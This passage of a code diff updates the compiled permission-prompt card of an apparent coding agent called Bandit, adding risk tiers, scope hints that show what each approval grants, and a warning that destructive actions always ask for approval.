AAC,OAA+B,EAAc,EAAE;IAC7E,MAAM,EAAE,GAAe,IAAI,qBAAU,CAAC;QACpC,IAAI,EAAE,KAAK;QACX,OAAO,EAAE,IAAI;QACb,MAAM,EAAE,IAAI;KACb,CAAC,CAAC;IACH,sEAAsE;IACtE,yEAAyE;IACzE,wEAAwE;IACxE,wEAAwE;IACxE,qEAAqE;IACrE,EAAE,CAAC,OAAO,CAAC,GAAG,CAAC,EAAE,SAAS,EAAE,KAAK,EAAE,CAAC,CAAC;IAErC,EAAE,CAAC,OAAO,CAAC,SAAS,GAAG,CAAC,IAAY,EAAE,QAAgB,EAAU,EAAE;QAChE,IAAI,QAAQ,IAAI,sBAAI,CAAC,WAAW,CAAC,QAAQ,CAAC,EAAE,CAAC;YAC3C,IAAI,CAAC;gBACH,MAAM,WAAW,GAAG,sBAAI,CAAC,SAAS,CAAC,IAAI,EAAE,EAAE,QAAQ,EAAE,CAAC,CAAC,KAAK,CAAC;gBAC7D,6DAA6D;gBAC7D,+DAA+D;gBAC/D,4DAA4D;gBAC5D,8DAA8D;gBAC9D,4DAA4D;gBAC5D,IAAI,QAAQ,KAAK,MAAM,EAAE,CAAC;oBACxB,MAAM,QAAQ,GAAG,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC;oBAC5D,MAAM,KAAK,GAAG,QAAQ,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,UAAU,CAAC,GAAG,CAAC,CAAC,CAAC,MAAM,CAAC;oBAC7D,MAAM,OAAO,GAAG,QAAQ,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,UAAU,CAAC,GAAG,CAAC,CAAC,CAAC,MAAM,CAAC;oBAC/D,MAAM,aAAa,GAAG,QAAQ,CAAC,MAAM,IAAI,EAAE,CAAC;oBAC5C,MAAM,OAAO,GAAG,6CAA6C;0BACzD,+CAA+C;0BAC/C,mDAAmD;0BACnD,wCAAwC;0BACtC,yCAAyC,KAAK,SAAS;0BACvD,GAAG;0BACH,0CAA0C,OAAO,SAAS;0BAC5D,SAAS;0BACT,YAAY,CAAC;oBACjB,OAAO,qCAAqC,aAAa,CAAC,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG;0BACtE,OAAO;0BACP,yCAAyC,WAAW,eAAe;0BACnE,YAAY,CAAC;gBACnB,CAAC;gBACD,OAAO,mCAAmC,EAAE,CAAC,KAAK,CAAC,UAAU,CAAC,QAAQ,CAAC,KAAK,WAAW,eAAe,CAAC;YACzG,CAAC;YAAC,MAAM,CAAC;gBACP,sCAAsC;YACxC,CAAC;QACH,CAAC;QACD,MAAM,OAAO,GAAG,EAAE,CAAC,KAAK,CAAC,UAAU,CAAC,IAAI,CAAC,CAAC;QAC1C,OAAO,2BAA2B,OAAO,eAAe,CAAC;IAC3D,CAAC,CAAC;IAEF,mBAAmB,CAAC,EAAE,EAAE,OAAO,EAAE,eAAe,CAAC,CAAC;IAClD,IAAA,2BAAmB,EAAC,EAAE,CAAC,CAAC;IACxB,OAAO,EAAE,CAAC;AACZ,CAAC,CAAC;AAEF;;;;;;;;;;;;;;;;;;;;;GAqBG;AACI,MAAM,mBAAmB,GAAG,CAAC,EAAc,EAAQ,EAAE;IAC1D,EAAE,CAAC,QAAQ,CAAC,KAAK,CAAC,KAAK,GAAG,CAAC,MAAM,EAAE,GAAG,EAAU,EAAE;QAChD,MAAM,KAAK,GAAG,MAAM,CAAC,GAAG,CAAC,CAAC;QAC1B,MAAM,GAAG,GAAG,KAAK,CAAC,OAAO,EAAE,CAAC,KAAK,CAAC,IAAI,EAAE,CAAC;QACzC,MAAM,GAAG,GAAG,OAAO,KAAK,CAAC,OAAO,KAAK,QAAQ,CAAC,CAAC,CAAC,KAAK,CAAC,OAAO,CAAC,CAAC,CAAC,EAAE,CAAC;QACnE,MAAM,KAAK,GAAG,GAAG,CAAC,CAAC,CAAC,GAAG,GAAG,KAAK,GAAG,EAAE,CAAC,CAAC,CAAC,GAAG,CAAC;QAC3C,OAAO,8DAA8D;cACjE,WAAW,EAAE,CAAC,KAAK,CAAC,UAAU,CAAC,KAAK,CAAC,EAAE;cACvC,SAAS,CAAC;IAChB,CAAC,CAAC;AACJ,CAAC,CAAC;AAVW,QAAA,mBAAmB,uBAU9B;AAEK,MAAM,oBAAoB,GAAG,CAClC,OAAe,EACf,OAA+B,EACvB,EAAE;IACV,MAAM,EAAE,GAAG,sBAAsB,CAAC,OAAO,CAAC,CAAC;IAC3C,OAAO,EAAE,CAAC,MAAM,CAAC,OAAO,CAAC,CAAC;AAC5B,CAAC,CAAC;AANW,QAAA,oBAAoB,wBAM/B;AAEF;;;;;;;;;;;;;;;;;;;;GAoBG;AACU,QAAA,mBAAmB,GAAG;IACjC,KAAK;IACL,SAAS;IACT,QAAQ;IACR,OAAO;IACP,OAAO;IACP,QAAQ;IACR,QAAQ;IACR,OAAO;IACP,MAAM;CACP,CAAC;AAEK,MAAM,eAAe,GAAG,CAAC,EAC9B,OAAO,EACP,SAAS,EACT,UAAU,EACV,eAAe,EACf,oBAAoB,EACC,EAAe,EAAE;IACtC,MAAM,gBAAgB,GAAG,IAAA,eAAO,EAAC,GAAG,EAAE,CAAC,IAAA,+BAAmB,EAAC,OAAO,CAAC,EAAE,CAAC,OAAO,CAAC,CAAC,CAAC;IAChF,MAAM,IAAI,GAAG,IAAA,eAAO,EAAC,GAAG,EAAE;QACxB,MAAM,QAAQ,GAAG,UAAU;YACzB,CAAC,CAAC,UAAU,CAAC,gBAAgB,CAAC;YAC9B,CAAC,CAAC,IAAA,4BAAoB,EAAC,gBAAgB,EAAE,EAAE,eAAe,EAAE,CAAC,CAAC;QAChE,OAAO,mBAAS,CAAC,QAAQ,CAAC,QAAQ,EAAE;YAClC,QAAQ,EAAE,CAAC,eAAe,EAAE,QAAQ,EAAE,KAAK,CAAC;YAC5C,WAAW,EAAE,2BAAmB;SACjC,CAAC,CAAC;IACL,CAAC,EAAE,CAAC,UAAU,EAAE,eAAe,EAAE,gBAAgB,CAAC,CAAC,CAAC;IAEpD,gEAAgE;IAChE,mDAAmD;IACnD,wEAAwE;IACxE,mEAAmE;IACnE,qEAAqE;IACrE,+DAA+D;IAC/D,wEAAwE;IACxE,sEAAsE;IACtE,kEAAkE;IAClE,mEAAmE;IACnE,uEAAuE;IACvE,gDAAgD;IAChD,MAAM,YAAY,GAAG,IAAA,cAAM,EAAiB,IAAI,CAAC,CAAC;IAClD,IAAA,uBAAe,EAAC,GAAG,EAAE;QACnB,MAAM,EAAE,GAAG,YAAY,CAAC,OAAO,CAAC;QAChC,IAAI,CAAC,EAAE,EAAE,CAAC;YAAA,OAAO;QAAA,CAAC;QAClB,IAAA,kBAAQ,EAAC,EAAE,EAAE,QAAQ,IAAI,QAAQ,EAAE;YACjC,YAAY,EAAE,IAAI;YAClB,iBAAiB,CAAC,MAAM,EAAE,IAAI;gBAC5B,IACE,MAAM,YAAY,kBAAkB;oBACpC,IAAI,YAAY,kBAAkB;oBAClC,MAAM,CAAC,IAAI;oBACX,CAAC,IAAI,CAAC,YAAY,CAAC,MAAM,CAAC,EAC1B,CAAC;oBACD,IAAI,CAAC,YAAY,CAAC,MAAM,EAAE,EAAE,CAAC,CAAC;gBAChC,CAAC;gBACD,OAAO,IAAI,CAAC;YACd,CAAC;SACF,CAAC,CAAC;IACL,CAAC,EAAE,CAAC,IAAI,CAAC,CAAC,CAAC;IAEX,MAAM,WAAW,GAAG,CAAC,KAAiC,EAAQ,EAAE;QAC9D,IAAI,CAAC,oBAAoB,EAAE,CAAC;YAC1B,OAAO;QACT,CAAC;QACD,MAAM,MAAM,GAAG,KAAK,CAAC,MAA4B,CAAC;QAClD,MAAM,MAAM,GAAG,MAAM,EAAE,OAAO,EAAE,CAAC,kBAAkB,CAA6B,CAAC;QACjF,MAAM,SAAS,GAAG,MAAM,EAAE,YAAY,CAAC,eAAe,CAAC,CAAC;QACxD,IAAI,MAAM,IAAI,SAAS,EAAE,CAAC;YACxB,KAAK,CAAC,cAAc,EAAE,CAAC;YACvB,oBAAoB,CAAC,SAAS,EAAE,KAAK,CAAC,CAAC;QACzC,CAAC;IACH,CAAC,CAAC;IAEF,MAAM,eAAe,GAAG,SAAS,CAAC,CAAC,CAAC,oBAAoB,SAAS,EAAE,CAAC,CAAC,CAAC,kBAAkB,CAAC;IAEzF,wEAAwE;IACxE,+DAA+D;IAC/D,sEAAsE;IACtE,uBAAuB;IACvB,OAAO,CACL,gCAAK,GAAG,EAAE,YAAY,EAAE,SAAS,EAAE,eAAe,EAAE,OAAO,EAAE,WAAW,GAAI,CAC7E,CAAC;AACJ,CAAC,CAAC;AAxEW,QAAA,eAAe,mBAwE1B"}
@@ -48,6 +48,28 @@ export interface BanditPermissionPayload {
48
48
  * (apply_edit find/replace, git_checkout branch name, etc).
49
49
  */
50
50
  paramsPreview?: string;
51
+ /**
52
+ * Risk tier from the shared classifier: `routine` | `elevated` | `critical`.
53
+ * Drives the card's visual weight — users approve dozens of these a session,
54
+ * and if a delete renders identically to a file read the card stops being
55
+ * read at all.
56
+ */
57
+ tier?: string;
58
+ /**
59
+ * What each grant scope would actually authorize, keyed by choice. Rendered
60
+ * as the button's hint so the user reads the blast radius before clicking.
61
+ * Generated host-side by `grantRuleFor` — the same call that computes the
62
+ * rule that gets stored, so the card cannot promise one scope and save
63
+ * another. Falls back to the static hints below when absent.
64
+ */
65
+ scopeHints?: Record<string, string>;
66
+ /**
67
+ * True when a saved allow rule already covered this call but the
68
+ * critical-tier floor overrode it. Without saying so, the user sees a prompt
69
+ * for something they believe they already approved and concludes the grant
70
+ * is broken.
71
+ */
72
+ flooredByRisk?: boolean;
51
73
  }
52
74
  export type PermissionChoice = "once" | "session" | "save" | "deny";
53
75
  export interface PermissionCardProps {
@@ -1 +1 @@
1
- {"version":3,"file":"PermissionCard.d.ts","sourceRoot":"","sources":["../../src/components/PermissionCard.tsx"],"names":[],"mappings":"AAAA,OAAO,EAA+B,KAAK,GAAG,EAAE,MAAM,OAAO,CAAC;AAG9D;;;;;;;GAOG;AACH,MAAM,WAAW,uBAAuB;IACtC,IAAI,EAAE,mBAAmB,CAAC;IAC1B,EAAE,EAAE,MAAM,CAAC;IACX,IAAI,EAAE,MAAM,CAAC;IACb,OAAO,EAAE,MAAM,CAAC;IAChB,WAAW,EAAE,MAAM,CAAC;IACpB,wDAAwD;IACxD,IAAI,CAAC,EAAE,MAAM,CAAC;IACd,WAAW,CAAC,EAAE,MAAM,CAAC;IACrB;;;;;OAKG;IACH,OAAO,CAAC,EAAE,MAAM,CAAC;IACjB;;;;OAIG;IACH,SAAS,CAAC,EAAE;QAAE,KAAK,EAAE,MAAM,CAAC;QAAC,OAAO,EAAE,MAAM,CAAA;KAAE,CAAC;IAC/C;;;;;;;OAOG;IACH,OAAO,CAAC,EAAE,MAAM,CAAC;IACjB;;;;;OAKG;IACH,aAAa,CAAC,EAAE,MAAM,CAAC;CACxB;AAED,MAAM,MAAM,gBAAgB,GAAG,MAAM,GAAG,SAAS,GAAG,MAAM,GAAG,MAAM,CAAC;AAEpE,MAAM,WAAW,mBAAmB;IAClC,OAAO,EAAE,uBAAuB,CAAC;IACjC;;;;;OAKG;IACH,QAAQ,EAAE,CAAC,EAAE,EAAE,MAAM,EAAE,MAAM,EAAE,gBAAgB,EAAE,KAAK,CAAC,EAAE,MAAM,KAAK,IAAI,CAAC;CAC1E;AAiBD,eAAO,MAAM,cAAc,GAAI,uBAAuB,mBAAmB,KAAG,GAAG,CAAC,OAkK/E,CAAC"}
1
+ {"version":3,"file":"PermissionCard.d.ts","sourceRoot":"","sources":["../../src/components/PermissionCard.tsx"],"names":[],"mappings":"AAAA,OAAO,EAA+B,KAAK,GAAG,EAAE,MAAM,OAAO,CAAC;AAG9D;;;;;;;GAOG;AACH,MAAM,WAAW,uBAAuB;IACtC,IAAI,EAAE,mBAAmB,CAAC;IAC1B,EAAE,EAAE,MAAM,CAAC;IACX,IAAI,EAAE,MAAM,CAAC;IACb,OAAO,EAAE,MAAM,CAAC;IAChB,WAAW,EAAE,MAAM,CAAC;IACpB,wDAAwD;IACxD,IAAI,CAAC,EAAE,MAAM,CAAC;IACd,WAAW,CAAC,EAAE,MAAM,CAAC;IACrB;;;;;OAKG;IACH,OAAO,CAAC,EAAE,MAAM,CAAC;IACjB;;;;OAIG;IACH,SAAS,CAAC,EAAE;QAAE,KAAK,EAAE,MAAM,CAAC;QAAC,OAAO,EAAE,MAAM,CAAA;KAAE,CAAC;IAC/C;;;;;;;OAOG;IACH,OAAO,CAAC,EAAE,MAAM,CAAC;IACjB;;;;;OAKG;IACH,aAAa,CAAC,EAAE,MAAM,CAAC;IACvB;;;;;OAKG;IACH,IAAI,CAAC,EAAE,MAAM,CAAC;IACd;;;;;;OAMG;IACH,UAAU,CAAC,EAAE,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC;IACpC;;;;;OAKG;IACH,aAAa,CAAC,EAAE,OAAO,CAAC;CACzB;AAED,MAAM,MAAM,gBAAgB,GAAG,MAAM,GAAG,SAAS,GAAG,MAAM,GAAG,MAAM,CAAC;AAEpE,MAAM,WAAW,mBAAmB;IAClC,OAAO,EAAE,uBAAuB,CAAC;IACjC;;;;;OAKG;IACH,QAAQ,EAAE,CAAC,EAAE,EAAE,MAAM,EAAE,MAAM,EAAE,gBAAgB,EAAE,KAAK,CAAC,EAAE,MAAM,KAAK,IAAI,CAAC;CAC1E;AAoBD,eAAO,MAAM,cAAc,GAAI,uBAAuB,mBAAmB,KAAG,GAAG,CAAC,OA+L/E,CAAC"}
@@ -15,10 +15,13 @@ const clsx_1 = __importDefault(require("clsx"));
15
15
  * persists across restarts via .bandit/settings.json.
16
16
  */
17
17
  const CHOICE_ORDER = ["once", "session", "save", "deny"];
18
+ // Fallback hints. When the host supplies `scopeHints` these are replaced with
19
+ // the real blast radius of the rule that would be stored — "Always for target"
20
+ // was actively misleading, since the stored rule was the binary, not the target.
18
21
  const CHOICE_LABELS = {
19
22
  once: { label: "Allow once", hint: "Run this single tool call", key: "1" },
20
- session: { label: "Allow session", hint: "Allow this tool until you close the window", key: "2" },
21
- save: { label: "Always for target", hint: "Save this target to .bandit/settings.json", key: "3" },
23
+ session: { label: "Allow session", hint: "Allow calls like this until you close the window", key: "2" },
24
+ save: { label: "Always allow", hint: "Save the rule to .bandit/settings.json", key: "3" },
22
25
  deny: { label: "Deny", hint: "Abort the tool call", key: "4" }
23
26
  };
24
27
  const PermissionCard = ({ payload, onChoice }) => {
@@ -96,7 +99,7 @@ const PermissionCard = ({ payload, onChoice }) => {
96
99
  const hasCommand = typeof payload.command === "string" && payload.command.trim().length > 0;
97
100
  const hasParams = !hasCommand && typeof payload.paramsPreview === "string" && payload.paramsPreview.trim().length > 0;
98
101
  const hasDiff = !hasCommand && !hasParams && typeof payload.bodyPreview === "string" && payload.bodyPreview.trim().length > 0;
99
- return ((0, jsx_runtime_1.jsxs)("div", { ref: cardRef, tabIndex: -1, className: (0, clsx_1.default)("permission-card", resolved && "is-resolved", resolved === "deny" && "is-denied"), role: "group", "aria-label": `Permission prompt for ${payload.tool}`, onKeyDown: handleKeyDown, children: [(0, jsx_runtime_1.jsxs)("div", { className: "permission-card__header", children: [(0, jsx_runtime_1.jsx)("div", { className: "permission-card__icon", "aria-hidden": "true", children: "!" }), (0, jsx_runtime_1.jsx)("div", { className: "permission-card__title", children: (0, jsx_runtime_1.jsxs)("div", { className: "permission-card__tool", children: ["Allow this ", (0, jsx_runtime_1.jsx)("code", { children: payload.tool }), "?"] }) })] }), hasCommand && ((0, jsx_runtime_1.jsx)("pre", { className: "permission-card__command", "aria-label": "Command to run", children: (0, jsx_runtime_1.jsx)("code", { children: payload.command }) })), hasParams && ((0, jsx_runtime_1.jsx)("pre", { className: "permission-card__command", "aria-label": "Tool parameters", children: (0, jsx_runtime_1.jsx)("code", { children: payload.paramsPreview }) })), payload.description && payload.description !== `${payload.tool} ${payload.primary}`.trim() && ((0, jsx_runtime_1.jsx)("div", { className: "permission-card__desc", children: payload.description })), payload.risk && ((0, jsx_runtime_1.jsxs)("div", { className: "permission-card__risk", children: [(0, jsx_runtime_1.jsx)("span", { className: "permission-card__risk-label", children: "Risk" }), (0, jsx_runtime_1.jsx)("span", { children: payload.risk })] })), payload.warning && ((0, jsx_runtime_1.jsxs)("div", { className: "permission-card__warning", role: "alert", children: [(0, jsx_runtime_1.jsx)("span", { className: "permission-card__warning-icon", "aria-hidden": "true", children: "\u26A0" }), (0, jsx_runtime_1.jsx)("span", { children: payload.warning })] })), hasDiff && ((0, jsx_runtime_1.jsx)(CollapsibleDiff, { preview: payload.bodyPreview, stats: payload.diffStats })), (0, jsx_runtime_1.jsx)("div", { className: "permission-card__choices", role: "radiogroup", "aria-label": "Approval choices", children: CHOICE_ORDER.map((choice) => ((0, jsx_runtime_1.jsxs)("button", { type: "button", className: (0, clsx_1.default)("permission-card__choice", `permission-card__choice--${choice}`, resolved === choice && "is-selected"), disabled: resolved !== null, onClick: () => pick(choice, choice === "deny" ? notesDraft : undefined), title: CHOICE_LABELS[choice].hint, role: "radio", "aria-checked": resolved === choice, children: [(0, jsx_runtime_1.jsx)("span", { className: "permission-card__choice-key", "aria-hidden": "true", children: CHOICE_LABELS[choice].key }), (0, jsx_runtime_1.jsx)("span", { className: "permission-card__choice-label", children: CHOICE_LABELS[choice].label })] }, choice))) }), !resolved && ((0, jsx_runtime_1.jsxs)("div", { className: "permission-card__notes", children: [(0, jsx_runtime_1.jsx)("textarea", { className: "permission-card__notes-input", value: notesDraft, onChange: (e) => setNotesDraft(e.target.value), onKeyDown: handleNotesKeyDown, placeholder: "Tell Bandit what to do instead (optional)", rows: 2 }), (0, jsx_runtime_1.jsx)("span", { className: "permission-card__notes-hint", children: "Esc to cancel \u00B7 Cmd+Enter to deny with notes" })] })), resolved && ((0, jsx_runtime_1.jsx)("div", { className: "permission-card__resolved", role: "status", children: resolved === "deny"
102
+ return ((0, jsx_runtime_1.jsxs)("div", { ref: cardRef, tabIndex: -1, className: (0, clsx_1.default)("permission-card", resolved && "is-resolved", resolved === "deny" && "is-denied"), role: "group", "aria-label": `Permission prompt for ${payload.tool}`, onKeyDown: handleKeyDown, children: [(0, jsx_runtime_1.jsxs)("div", { className: "permission-card__header", children: [(0, jsx_runtime_1.jsx)("div", { className: "permission-card__icon", "aria-hidden": "true", children: "!" }), (0, jsx_runtime_1.jsx)("div", { className: "permission-card__title", children: (0, jsx_runtime_1.jsxs)("div", { className: "permission-card__tool", children: ["Allow this ", (0, jsx_runtime_1.jsx)("code", { children: payload.tool }), "?"] }) })] }), hasCommand && ((0, jsx_runtime_1.jsx)("pre", { className: "permission-card__command", "aria-label": "Command to run", children: (0, jsx_runtime_1.jsx)("code", { children: payload.command }) })), hasParams && ((0, jsx_runtime_1.jsx)("pre", { className: "permission-card__command", "aria-label": "Tool parameters", children: (0, jsx_runtime_1.jsx)("code", { children: payload.paramsPreview }) })), payload.description && payload.description !== `${payload.tool} ${payload.primary}`.trim() && ((0, jsx_runtime_1.jsx)("div", { className: "permission-card__desc", children: payload.description })), payload.risk && ((0, jsx_runtime_1.jsxs)("div", { className: (0, clsx_1.default)("permission-card__risk", payload.tier && `permission-card__risk--${payload.tier}`), children: [(0, jsx_runtime_1.jsx)("span", { className: "permission-card__risk-label", children: payload.tier === "critical" ? "Destructive" : "Risk" }), (0, jsx_runtime_1.jsx)("span", { children: payload.risk })] })), payload.flooredByRisk && ((0, jsx_runtime_1.jsxs)("div", { className: "permission-card__warning", role: "alert", children: [(0, jsx_runtime_1.jsx)("span", { className: "permission-card__warning-icon", "aria-hidden": "true", children: "\u26A0" }), (0, jsx_runtime_1.jsx)("span", { children: "An existing allow rule covers this call, but destructive actions always ask." })] })), payload.warning && ((0, jsx_runtime_1.jsxs)("div", { className: "permission-card__warning", role: "alert", children: [(0, jsx_runtime_1.jsx)("span", { className: "permission-card__warning-icon", "aria-hidden": "true", children: "\u26A0" }), (0, jsx_runtime_1.jsx)("span", { children: payload.warning })] })), hasDiff && ((0, jsx_runtime_1.jsx)(CollapsibleDiff, { preview: payload.bodyPreview, stats: payload.diffStats })), (0, jsx_runtime_1.jsx)("div", { className: "permission-card__choices", role: "radiogroup", "aria-label": "Approval choices", children: CHOICE_ORDER.map((choice) => ((0, jsx_runtime_1.jsxs)("button", { type: "button", className: (0, clsx_1.default)("permission-card__choice", `permission-card__choice--${choice}`, resolved === choice && "is-selected"), disabled: resolved !== null, onClick: () => pick(choice, choice === "deny" ? notesDraft : undefined), title: payload.scopeHints?.[choice] ?? CHOICE_LABELS[choice].hint, role: "radio", "aria-checked": resolved === choice, children: [(0, jsx_runtime_1.jsx)("span", { className: "permission-card__choice-key", "aria-hidden": "true", children: CHOICE_LABELS[choice].key }), (0, jsx_runtime_1.jsx)("span", { className: "permission-card__choice-label", children: CHOICE_LABELS[choice].label })] }, choice))) }), !resolved && payload.scopeHints && ((0, jsx_runtime_1.jsx)("div", { className: "permission-card__scopes", children: CHOICE_ORDER.filter((ch) => ch !== "deny" && payload.scopeHints?.[ch]).map((ch) => ((0, jsx_runtime_1.jsxs)("div", { className: "permission-card__scope", children: [(0, jsx_runtime_1.jsx)("span", { className: "permission-card__scope-key", children: CHOICE_LABELS[ch].key }), (0, jsx_runtime_1.jsx)("span", { className: "permission-card__scope-text", children: payload.scopeHints?.[ch] })] }, ch))) })), !resolved && ((0, jsx_runtime_1.jsxs)("div", { className: "permission-card__notes", children: [(0, jsx_runtime_1.jsx)("textarea", { className: "permission-card__notes-input", value: notesDraft, onChange: (e) => setNotesDraft(e.target.value), onKeyDown: handleNotesKeyDown, placeholder: "Tell Bandit what to do instead (optional)", rows: 2 }), (0, jsx_runtime_1.jsx)("span", { className: "permission-card__notes-hint", children: "Esc to cancel \u00B7 Cmd+Enter to deny with notes" })] })), resolved && ((0, jsx_runtime_1.jsx)("div", { className: "permission-card__resolved", role: "status", children: resolved === "deny"
100
103
  ? (resolvedNotes ? `Denied · "${resolvedNotes}"` : "Denied")
101
104
  : resolved === "save" ? "Allowed (saved to .bandit/settings.json)"
102
105
  : resolved === "session" ? "Allowed for this session"
@@ -1 +1 @@
1
- {"version":3,"file":"PermissionCard.js","sourceRoot":"","sources":["../../src/components/PermissionCard.tsx"],"names":[],"mappings":";;;;;;;AAAA,iCAA8D;AAC9D,gDAAwB;AA+DxB;;;;;;GAMG;AACH,MAAM,YAAY,GAAuB,CAAC,MAAM,EAAE,SAAS,EAAE,MAAM,EAAE,MAAM,CAAC,CAAC;AAC7E,MAAM,aAAa,GAA2E;IAC5F,IAAI,EAAE,EAAE,KAAK,EAAE,YAAY,EAAE,IAAI,EAAE,2BAA2B,EAAE,GAAG,EAAE,GAAG,EAAE;IAC1E,OAAO,EAAE,EAAE,KAAK,EAAE,eAAe,EAAE,IAAI,EAAE,4CAA4C,EAAE,GAAG,EAAE,GAAG,EAAE;IACjG,IAAI,EAAE,EAAE,KAAK,EAAE,mBAAmB,EAAE,IAAI,EAAE,2CAA2C,EAAE,GAAG,EAAE,GAAG,EAAE;IACjG,IAAI,EAAE,EAAE,KAAK,EAAE,MAAM,EAAE,IAAI,EAAE,qBAAqB,EAAE,GAAG,EAAE,GAAG,EAAE;CAC/D,CAAC;AAEK,MAAM,cAAc,GAAG,CAAC,EAAE,OAAO,EAAE,QAAQ,EAAuB,EAAe,EAAE;IACxF,MAAM,CAAC,QAAQ,EAAE,WAAW,CAAC,GAAG,IAAA,gBAAQ,EAA0B,IAAI,CAAC,CAAC;IACxE,MAAM,CAAC,aAAa,EAAE,gBAAgB,CAAC,GAAG,IAAA,gBAAQ,EAAqB,SAAS,CAAC,CAAC;IAClF,MAAM,CAAC,UAAU,EAAE,aAAa,CAAC,GAAG,IAAA,gBAAQ,EAAS,EAAE,CAAC,CAAC;IACzD,MAAM,OAAO,GAAG,IAAA,cAAM,EAAwB,IAAI,CAAC,CAAC;IACpD,sEAAsE;IACtE,mEAAmE;IACnE,qDAAqD;IACrD,IAAA,iBAAS,EAAC,GAAG,EAAE;QACb,IAAI,CAAC,QAAQ,EAAE,CAAC;YAAA,OAAO,CAAC,OAAO,EAAE,KAAK,EAAE,CAAC;QAAA,CAAC;IAC5C,CAAC,EAAE,CAAC,QAAQ,CAAC,CAAC,CAAC;IAEf,MAAM,IAAI,GAAG,CAAC,MAAwB,EAAE,KAAc,EAAQ,EAAE;QAC9D,IAAI,QAAQ,EAAE,CAAC;YAAA,OAAO;QAAA,CAAC;QACvB,MAAM,OAAO,GAAG,KAAK,EAAE,IAAI,EAAE,IAAI,SAAS,CAAC;QAC3C,WAAW,CAAC,MAAM,CAAC,CAAC;QACpB,gBAAgB,CAAC,OAAO,CAAC,CAAC;QAC1B,QAAQ,CAAC,OAAO,CAAC,EAAE,EAAE,MAAM,EAAE,OAAO,CAAC,CAAC;IACxC,CAAC,CAAC;IAEF,MAAM,aAAa,GAAG,CAAC,CAAsC,EAAQ,EAAE;QACrE,IAAI,QAAQ,EAAE,CAAC;YAAA,OAAO;QAAA,CAAC;QACvB,yEAAyE;QACzE,iEAAiE;QACjE,+DAA+D;QAC/D,MAAM,MAAM,GAAG,CAAC,CAAC,MAA4B,CAAC;QAC9C,MAAM,OAAO,GAAG,MAAM,IAAI,CAAC,MAAM,CAAC,OAAO,KAAK,UAAU,IAAI,MAAM,CAAC,OAAO,KAAK,OAAO,CAAC,CAAC;QACxF,IAAI,CAAC,OAAO,EAAE,CAAC;YACb,IAAI,CAAC,CAAC,GAAG,KAAK,GAAG,EAAE,CAAC;gBAAC,CAAC,CAAC,cAAc,EAAE,CAAC;gBAAC,IAAI,CAAC,MAAM,CAAC,CAAC;gBAAC,OAAO;YAAC,CAAC;YAChE,IAAI,CAAC,CAAC,GAAG,KAAK,GAAG,EAAE,CAAC;gBAAC,CAAC,CAAC,cAAc,EAAE,CAAC;gBAAC,IAAI,CAAC,SAAS,CAAC,CAAC;gBAAC,OAAO;YAAC,CAAC;YACnE,IAAI,CAAC,CAAC,GAAG,KAAK,GAAG,EAAE,CAAC;gBAAC,CAAC,CAAC,cAAc,EAAE,CAAC;gBAAC,IAAI,CAAC,MAAM,CAAC,CAAC;gBAAC,OAAO;YAAC,CAAC;YAChE,IAAI,CAAC,CAAC,GAAG,KAAK,GAAG,EAAE,CAAC;gBAAC,CAAC,CAAC,cAAc,EAAE,CAAC;gBAAC,IAAI,CAAC,MAAM,EAAE,UAAU,CAAC,CAAC;gBAAC,OAAO;YAAC,CAAC;QAC9E,CAAC;QACD,IAAI,CAAC,CAAC,GAAG,KAAK,QAAQ,EAAE,CAAC;YACvB,CAAC,CAAC,cAAc,EAAE,CAAC;YACnB,IAAI,CAAC,MAAM,EAAE,UAAU,CAAC,CAAC;QAC3B,CAAC;IACH,CAAC,CAAC;IAEF,MAAM,kBAAkB,GAAG,CAAC,CAA2C,EAAQ,EAAE;QAC/E,mEAAmE;QACnE,iEAAiE;QACjE,IAAI,CAAC,CAAC,GAAG,KAAK,OAAO,IAAI,CAAC,CAAC,CAAC,OAAO,IAAI,CAAC,CAAC,OAAO,CAAC,EAAE,CAAC;YAClD,CAAC,CAAC,cAAc,EAAE,CAAC;YACnB,IAAI,CAAC,MAAM,EAAE,UAAU,CAAC,CAAC;QAC3B,CAAC;IACH,CAAC,CAAC;IAEF,gEAAgE;IAChE,kEAAkE;IAClE,+DAA+D;IAC/D,kEAAkE;IAClE,+DAA+D;IAC/D,oEAAoE;IACpE,MAAM,UAAU,GAAG,OAAO,OAAO,CAAC,OAAO,KAAK,QAAQ,IAAI,OAAO,CAAC,OAAO,CAAC,IAAI,EAAE,CAAC,MAAM,GAAG,CAAC,CAAC;IAC5F,MAAM,SAAS,GAAG,CAAC,UAAU,IAAI,OAAO,OAAO,CAAC,aAAa,KAAK,QAAQ,IAAI,OAAO,CAAC,aAAa,CAAC,IAAI,EAAE,CAAC,MAAM,GAAG,CAAC,CAAC;IACtH,MAAM,OAAO,GAAG,CAAC,UAAU,IAAI,CAAC,SAAS,IAAI,OAAO,OAAO,CAAC,WAAW,KAAK,QAAQ,IAAI,OAAO,CAAC,WAAW,CAAC,IAAI,EAAE,CAAC,MAAM,GAAG,CAAC,CAAC;IAE9H,OAAO,CACL,iCACE,GAAG,EAAE,OAAO,EACZ,QAAQ,EAAE,CAAC,CAAC,EACZ,SAAS,EAAE,IAAA,cAAI,EAAC,iBAAiB,EAAE,QAAQ,IAAI,aAAa,EAAE,QAAQ,KAAK,MAAM,IAAI,WAAW,CAAC,EACjG,IAAI,EAAC,OAAO,gBACA,yBAAyB,OAAO,CAAC,IAAI,EAAE,EACnD,SAAS,EAAE,aAAa,aAExB,iCAAK,SAAS,EAAC,yBAAyB,aACtC,gCAAK,SAAS,EAAC,uBAAuB,iBAAa,MAAM,kBAAQ,EACjE,gCAAK,SAAS,EAAC,wBAAwB,YACrC,iCAAK,SAAS,EAAC,uBAAuB,4BACzB,2CAAO,OAAO,CAAC,IAAI,GAAQ,SAClC,GACF,IACF,EAEL,UAAU,IAAI,CACb,gCAAK,SAAS,EAAC,0BAA0B,gBAAY,gBAAgB,YACnE,2CAAO,OAAO,CAAC,OAAO,GAAQ,GAC1B,CACP,EACA,SAAS,IAAI,CACZ,gCAAK,SAAS,EAAC,0BAA0B,gBAAY,iBAAiB,YACpE,2CAAO,OAAO,CAAC,aAAa,GAAQ,GAChC,CACP,EAEA,OAAO,CAAC,WAAW,IAAI,OAAO,CAAC,WAAW,KAAK,G